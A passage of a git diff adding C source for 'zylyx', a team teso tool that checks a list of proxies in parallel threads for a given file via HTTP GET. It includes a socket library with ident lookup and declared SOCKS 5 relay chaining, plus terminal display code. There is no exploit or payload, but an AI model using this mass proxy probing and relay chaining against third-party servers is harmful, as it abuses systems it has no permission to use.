(*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +char * +net_peername (int socket) +{ + struct sockaddr_in peeraddr; + struct hostent he, *hep; + size_t size = sizeof (struct sockaddr_in); + int n, h_errno; + unsigned char h_buf[8192]; + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + /* digital unix / hp-ux freaks mod here =) + */ + n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr), + AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno); + + if (hep == NULL) { + char *ip_str = NULL; + + net_printipa (&peeraddr.sin_addr, &ip_str); + return (ip_str); + } + + return (strdup (he.h_name)); +} + + +FILE * +net_descriptify (int socket) +{ + FILE *fp; + + fp = fdopen (socket, "r+"); + return ((fp == NULL) ? (NULL) : (fp)); +} + + +/* loosely based on rfc931.c */ + +int +net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport) +{ + int is; /* ident socket */ + struct sockaddr_in isa; + int n; + char identreply[512], *cp; + unsigned int rmt_port, our_port; + + + *ident = NULL; + + is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout); + if (is == -1) + return (-1); + + /* ident request */ + net_write (is, "%u,%u\r\n", remoteport, localport); + memset (identreply, '\0', sizeof (identreply)); + + n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout); + if (n == -1) { + close (is); + return (-1); + } + close (is); + + *ident = calloc (1, 256); +#ifdef DEBUG + printf("%s\n", identreply); +#endif + n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident); + if (n != 3) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* check the ports 'man */ + if ((rmt_port != remoteport) || (our_port != localport)) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* strip character and save some memory */ + if ((cp = strchr (*ident, '\r'))) + *cp = '\0'; + n = strlen (*ident); + *ident = realloc (*ident, n + 1); + (*ident)[n] = '\0'; + +#ifdef DEBUG + printf("ident-return: %s\n", *ident); +#endif + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (flags == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + + +int +net_testvip (char *ip) +{ + struct ifi_info *ifi, *ifc; + struct in_addr ip_n; + + if (ip == NULL) + return (1); + if (strcmp(ip, "*") == 0) + return (1); + + ip_n.s_addr = net_resolve(ip); + if (!(ip_n.s_addr)) + return (0); + + ifi = net_ifi_get (AF_INET, 1); + if (ifi == NULL) + return (0); + for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) { + if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) { + net_ifi_free(ifi); + return (1); + } + } + net_ifi_free(ifi); + return (0); +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free(bf); + return; +} + + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len, reusetmp; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof (bound)); + if (b == NULL) + return (NULL); + b->bs = socket (AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + reusetmp = 1; +#ifdef SO_REUSEPORT + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#else + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#endif + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons (port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp (ip, "*") == 0) { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve (ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } + + br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof (struct sockaddr); + gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs (sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen (b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free(b); + + return(NULL); +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_assignaddr (int sd, char *sourceip, unsigned short int sourceport) +{ + struct sockaddr_in sourcedef; + + if (sourceip && strcmp (sourceip, "*") == 0) + sourceip = NULL; + + if (sourceip == NULL && sourceport == 0) + return (1); + + /* is the IP available on the local host ? (not really necessary) */ + if (sourceip && !net_testvip (sourceip)) { + return (0); + } + + memset (&sourcedef, '\0', sizeof (struct sockaddr_in)); + + /* if sourceip is specified, set it */ + if (sourceip) { + sourcedef.sin_addr.s_addr = net_resolve (sourceip); + } else { + sourcedef.sin_addr.s_addr = htonl (INADDR_ANY); + } + if (sourceport) + sourcedef.sin_port = htons (sourceport); + + /* now set the source on the socket by binding it */ + if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) { + return (0); + } + + return (1); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec) +{ + int n, len, error, flags; + int fd; + struct timeval tv; + fd_set rset, wset; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + /* check wether we should change the defaults */ + if (net_assignaddr (fd, sourceip, sourceport) == 0) { + close (fd); + return (-1); + } + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + +#define LINET_A 1024 + + +int +net_rlineta (int fd, char **buf, int sec) +{ + int n; /* return value */ + int bufsize = 0; + + *buf = NULL; + + do { + bufsize += LINET_A; + *buf = realloc (*buf, bufsize); + if (*buf == NULL) + return (-1); + + n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec); + + if (n == -1) + goto rlinetaerr; + if (n >= 0) + goto rlinetastrip; + } while (n == -2); + +rlinetastrip: + *buf = realloc (*buf, strlen (*buf) + 1); + return (strlen (*buf)); + +rlinetaerr: + free (*buf); + return (-1); +} + + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-2); /* buffer full */ + } while (1); +} + + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, *dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + + send(fd, tmp, i, 0); + return; +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + diff --git a/other/zylyx/src/network.h b/other/zylyx/src/network.h new file mode 100644 index 0000000..46a8b54 --- /dev/null +++ b/other/zylyx/src/network.h @@ -0,0 +1,342 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#ifndef SCUT_NETWORK_H +#define SCUT_NETWORK_H + +#include +#include +#include +#include + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 +#define NET_IDENTTIMEOUT 15 + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_socks_connect + * + * relays through an open socks 5 server (NO AUTH type) + * returns a socket descriptor which is already connected + */ + +int net_socks_connect (char *socks, unsigned short int sport, + char *server, unsigned short int port, int sec); + + +/* net_socks_put_s5info + * + * insert socks 5 compatible relay information into socket s5s, + * used to relay over more then just one socks server + */ + +int net_socks_put_s5info (int s5s, char *server, + unsigned short int port, int sec); + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_peername + * + * return a pointer that points to an alloced character array that contains + * the fully qualified hostname for the remote host that is connected using + * the socket descriptor `socket'. + + + * return NULL on failure + * return pointer to hostname or quad-dotted IP address + */ + +char *net_peername (int socket); + + +/* net_descriptify + * + * descriptify a socket `socket' ;) + * + * return -1 on failure + * return file descriptor on success + */ + +FILE *net_descriptify (int socket); + + +/* net_ident + * + * ident a connection identified by the host:port pairs on both sides, + * returning the ident in *ident + * + * return 1 on success + * return -1 on failure + */ + +int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport); + + +/* net_accept + * + * accept a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * return 0 if no connection has been made within maxsec seconds + * return -1 if an error appears + * return the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_testvip + * + * test if virtual ip/hostname is available for use on the local machine, + * + * return 1 if the ip can be used + * return 0 if the ip/host is not available + */ + +int net_testvip (char *ip); + + +/* net_bind + * + * bind a socket to an ip:port on the local machine, + * `ip' can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * `port' can be either 0 (ephemeral port), or any free port. + * + * return NULL on failure + * return pointer to bound structure on success + */ + +bound *net_bind (char *ip, unsigned short int port); + + +/* net_boundfree + * + * free the bound structure pointed to by `bf' + * + * return in any case + */ + +void net_boundfree (bound *bf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_assignaddr + * + * assign an IP address and port to a socket + * sourceip can be an IP or hostname that is available on the local host, + * or NULL/"*" to let the kernel choose one, same applies to sourceport, + * it can either be zero (ephemeral port choosen by the kernel) or a + * valid port number + * + * return 1 on success + * return 0 on failure + */ + +int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport); + + +/* net_connect + * + * connect to the given `server' and `port' with a max timeout of `sec'. + * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. + * create a new socket and return either -1 if failed or + * the connected socket if connection has been established within the + * timeout limit. + * + * the routine is still IPv4 biased :-/ + * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port + * to use for the connection, but you can set the ip or port to NULL/0, + * to choose the default IP and an ephemeral port. this was added later in + * this library, so please update your sources. + * + * return -1 on failure + * return socket if success + */ + +int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec); + + +/* net_rtimeout + * + * waits max `sec' seconds for fd to become readable + * + * return -1 on error (errno set) + * return 1 on readability + */ + +int net_rtimeout (int fd, int sec); + + +/* net_rbuf + * + * allocate memory and read socket data to `dst' until the connection + * gets closed. + * + * return n if success (n = number of bytes read) + * return -1 if failed + */ + +long int net_rbuf (int fd, char **dst); +#define NET_BSIZE 4096 /* blocksize for pre-allocation */ + + +/* net_rbuft + * + * read `dsize' bytes into `dst' from `fd', with timeout + * + * return 1 on success + * return -1 on failure + */ +int net_rbuft (int fd, char *dst, unsigned long int dsize); + + +/* net_rlinet + * + * read a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * + * return -1 on timeout + * return 0 on connection close + * return length of readen line (including '\n') + * + * net_rlineta + * same as net_rlinet, but allocs the memory itself + */ + +int net_rlineta (int fd, char **buf, int sec); +int net_rlinet (int fd, char *buf, int bufsize, int sec); + + +/* net_tline + * + * return length if string `buf' with a maximum length of `bufsize' + * contains '\n' + * + * return -1 if no '\n' in string + */ + +int net_tline (char *buf, int bufsize); + + +/* net_write + * + * print a formatted string to a socket, see syntax of printf + * + * return in any case + */ + +void net_write (int fd, const char *str, ...); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + *Üreturn 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); + + +#endif + diff --git a/other/zylyx/src/proxy.c b/other/zylyx/src/proxy.c new file mode 100644 index 0000000..5f2fde1 --- /dev/null +++ b/other/zylyx/src/proxy.c @@ -0,0 +1,206 @@ +/* zylyx - file find + * + * proxy routines + * + * by team teso + */ + +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "network.h" +#include "screen.h" +#include "proxy.h" +#include "zylyx.h" + + +void +prx_fire (proxy *mp, result *result_r, pthread_mutex_t *result_m, + sem_t *permit_action, sem_t *client_action) +{ + pthread_t tid; + scan_t *new = xcalloc (1, sizeof (scan_t)); + int n; + + new->proxy = mp; + new->result_r = result_r; + new->result_m = result_m; + new->permit_action = permit_action; + new->client_action = client_action; + + n = pthread_create (&tid, NULL, (void *) prx_scan, (void *) new); + + return; +} + + +int +prx_findfile (scan_t *sc) +{ + int n, m, linecount; + int prx_fd; + struct sockaddr_in csa; + char *readline; + + prx_fd = net_connect (&csa, sc->proxy->host, sc->proxy->port, NULL, 0, 20); + if (prx_fd == -1) { + scr_rprint (sc->proxy->x, sc->proxy->y, ":04-"); + return (-1); + } + + scr_rprint (sc->proxy->x, sc->proxy->y, ":02c"); + net_write (prx_fd, "GET %s HTTP/1.0\n\n", sc->proxy->file); + + scr_rprint (sc->proxy->x, sc->proxy->y, ":02g"); + + for (linecount = 0 ; + (((n = net_rlineta (prx_fd, &readline, 30)) > 0) && + linecount < 10) ; + linecount++) + { + int p; + + scr_rprint (sc->proxy->x, sc->proxy->y, ":02r"); + + m = sscanf (readline, "HTTP/1.0 %d", &p); + free (readline); + if (m != 1) { + scr_rprint (sc->proxy->x, sc->proxy->y, ":03j"); + } else if (p < 200 || p >= 300) { + scr_rprint (sc->proxy->x, sc->proxy->y, ":04f"); + close (prx_fd); + } else { + close (prx_fd); + return (1); + } + } + + if (n <= 0) + scr_rprint (sc->proxy->x, sc->proxy->y, ":04t"); + return (0); +} + + +void * +prx_scan (scan_t *sc) +{ + int n; + + /* don't mess with the system resources, else we get stuck after like + * 1050's proxy fires =) + */ + pthread_detach (pthread_self ()); + scr_rprint (sc->proxy->x, sc->proxy->y, ":05o"); + + /* scan the proxy for the file, oh yeah + */ + n = prx_findfile (sc); + + /* post the result to the main thread using shared process memory + * and semaphores for activation + */ + sem_wait (sc->permit_action); + pthread_mutex_lock (sc->result_m); + switch (n) { + case (-1): + case (0): + /* file not found or connection / proxy error + */ + + sc->result_r->found = 0; + break; + case (1): + /* file successfully found + */ + + sc->result_r->found = 1; + sc->result_r->proxy_host = sc->proxy->host; + sc->result_r->proxy_port = sc->proxy->port; + sc->result_r->file = sc->proxy->file; + scr_rprint (sc->proxy->x, sc->proxy->y, ":01!"); + break; + + default: + break; + } + sem_post (sc->client_action); + pthread_mutex_unlock (sc->result_m); + + free (sc); + + pthread_exit (NULL); + + return (NULL); /* gcc eat that ;*/ +} + + +proxy ** +prx_load (char *filename, int *pc) +{ + FILE *fp; + proxy **pl; + long int n, c; + + *pc = n = prx_count (filename); + pl = xcalloc (n + 2, sizeof (proxy *)); + pl[n] = NULL; /* EOA */ + + fp = fopen (filename, "r"); + if (fp == NULL) + exit (EXIT_FAILURE); + + for (c = 0; c < n; ++c) { + pl[c] = prx_read (fp); + if (pl[c] == NULL) { + c--; + n--; + } +// printf ("%s:%hu\n", pl[c]->host, pl[c]->port); + } + + return (pl); +} + + +proxy * +prx_read (FILE *fp) +{ + proxy *prx = xcalloc (1, sizeof (proxy)); + char buf[1024]; + int n; + + fgets (buf, sizeof (buf) - 1, fp); + n = net_parseip (buf, &prx->host, &prx->port); + if (n == 0) { + free (prx); + prx = NULL; + } + + return (prx); +} + + +long int +prx_count (char *filename) +{ + FILE *fp; + long int n; + char buf[1024]; + + fp = fopen (filename, "r"); + if (fp == NULL) + exit (EXIT_FAILURE); + + for (n = 0; fgets (buf, sizeof (buf), fp) != NULL; ++n) + ; + + fclose (fp); + + return (n); +} + + diff --git a/other/zylyx/src/proxy.h b/other/zylyx/src/proxy.h new file mode 100644 index 0000000..bfb26a8 --- /dev/null +++ b/other/zylyx/src/proxy.h @@ -0,0 +1,32 @@ +/* zylyx - file find + * + * proxy routines include file + * + * by team teso + */ + +#ifndef _ZYL_PROXY_H +#define _ZYL_PROXY_H + +#include +#include +#include +#include "zylyx.h" + +typedef struct scan_t { + proxy *proxy; + result *result_r; + pthread_mutex_t *result_m; + sem_t *permit_action; + sem_t *client_action; +} scan_t; + +proxy **prx_load (char *filename, int *pc); +void prx_fire (proxy *mp, result *result_r, pthread_mutex_t *result_m, + sem_t *permit_action, sem_t *client_action); +void *prx_scan (scan_t *sc); +proxy *prx_read (FILE *fp); +long int prx_count (char *filename); + +#endif + diff --git a/other/zylyx/src/screen.c b/other/zylyx/src/screen.c new file mode 100644 index 0000000..a4c707c --- /dev/null +++ b/other/zylyx/src/screen.c @@ -0,0 +1,311 @@ +/* zylyx - file find + * + * screen and output module + * + * by team teso + */ + +#define _ZYL_SCR_MAIN + +#include +#include +#include +#include +#include +#include +#include "screen.h" +#include "zylyx.h" + + +pthread_mutex_t screen_mutex; + +void +scr_init (void) +{ + int n; + + pthread_mutex_init (&screen_mutex, NULL); + SLtt_get_terminfo (); + SLang_init_tty (-1, 0, 0); + n = SLsmg_init_smg (); + if (n == -1) { + fprintf (stderr, "SLsmg_init_smg failed\n"); + exit (EXIT_FAILURE); + } + SLsmg_cls (); + scr_init_col (); + SLsmg_refresh (); + + return; +} + + +void +scr_init_col (void) +{ + /* give us some sneezy colors, oh yeah + */ + + SLtt_set_color (COL_SPICY, NULL, "white", "black"); + SLtt_set_color (COL_MSPICY, NULL, "brightblue", "black"); + SLtt_set_color (COL_LSPICY, NULL, "blue", "black"); + SLtt_set_color (COL_TEXT, NULL, "gray", "black"); + SLtt_set_color (COL_STEXT, NULL, "brightgreen", "black"); + SLtt_set_color (COL_PRX_INACT, NULL, "green", "black"); + + return; +} + + +void +scr_prg_init (void) +{ + scr_build_box (0, 0, SLtt_Screen_Cols - 1, 6); + scr_build_box (0, 6, SLtt_Screen_Cols - 1, SLtt_Screen_Rows - 1); + + scr_banner (); + + SLsmg_refresh (); + + return; +} + + +void +scr_banner (void) +{ + scr_cprint (2, 1, ":05zylyx v"VERSION":01 - :05file find:01 - :02"AUTHORS"\n"); + + scr_cprint (2, 3, ":05o :02opening connection :02c connected :04- :02connection failed\n"); + scr_cprint (2, 4, ":02g :02try to get file :02r receiving :03j :02junk :04f :02file not found\n"); + scr_cprint (2, 5, ":04t :02timeouted :01! :02file found\n"); + + return; +} + + +int +scr_rprintf (int x, int y, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start (vl, str); + memset (tmp, '\0', sizeof (tmp)); + i = vsnprintf (tmp, sizeof (tmp) - 1, str, vl); + va_end (vl); + + scr_rprint (x, y, tmp); + SLsmg_refresh (); + + return (i); +} + + +void +scr_rprint (int x, int y, char *str) +{ + scr_cprint (x, y, str); + SLsmg_refresh (); +} + + +void +scr_cprint (int x, int y, char *str) +{ + pthread_mutex_lock (&screen_mutex); + SLsmg_gotorc (y, x); + scr_print (str); + pthread_mutex_unlock (&screen_mutex); +} + + +void +scr_print (char *str1) +{ + char *str = strdup (str1); + char *prc = str; /* process pointer */ + char *print_str; + int color; + + if (str[0] == ':') { + if (sscanf (str + 1, "%d", &color) != 1) + goto p_fail; + SLsmg_set_color (color); + prc += 3; + } + + while ((print_str = strsep (&prc, ":")) != NULL) { + SLsmg_write_string (print_str); + if (prc == NULL) + goto p_fail; + if (sscanf (prc, "%d", &color) != 1) + goto p_fail; + SLsmg_set_color (color); + prc += 2; + } + +p_fail: + free (str); + + return; +} + + +void +scr_build_box (int x1, int y1, int x2, int y2) +{ + pthread_mutex_lock (&screen_mutex); + + scr_build_sline_v (x1, y1, ((y2 - y1) / 2) + y1, '+', '|', '+', COL_SPICY, COL_MSPICY, COL_LSPICY); + scr_build_sline_v (x2, y1, ((y2 - y1) / 2) + y1, '+', '|', '+', COL_SPICY, 